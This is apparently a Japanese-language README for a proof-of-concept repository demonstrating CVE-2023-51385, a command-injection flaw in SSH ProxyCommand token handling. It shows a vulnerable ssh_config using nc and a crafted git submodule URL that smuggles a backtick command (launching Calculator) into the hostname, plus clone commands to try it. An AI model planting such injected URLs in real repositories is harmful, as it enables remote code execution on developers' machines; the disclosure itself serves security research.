vin01/poc-proxycommand-vulnerable脆弱なSSHクライアントのproxycommand設定を悪用するための概念実証 (CVE-2023-51385)
~/.ssh/config による RCEProxyCommand における %h や %p のようなトークンの使用は、SSH を使用したトンネルや接続プロキシで非常に一般的です。
host *.example.com
ProxyCommand /usr/bin/nc -X connect -x 192.0.2.0:8080 %h %p
注意: 私の初期評価では、'%h' (シングルクォート) を使用すれば回避できると思っていましたが、次のような場合でも脆弱なままのようです:
url = ssh://'`open -aCalculator`'foo.example.com/bar
出典: https://man.openbsd.org/ssh_config#ProxyCommand
OSX で計算機を起動するためにこの脆弱性を悪用するサブモジュール。
次のようにして試せます:
git clone https://github.com/vin01/poc-proxycommand-vulnerable --recurse-submodules
または
git clone [email protected]:vin01/poc-proxycommand-vulnerable.git --recurse-submodules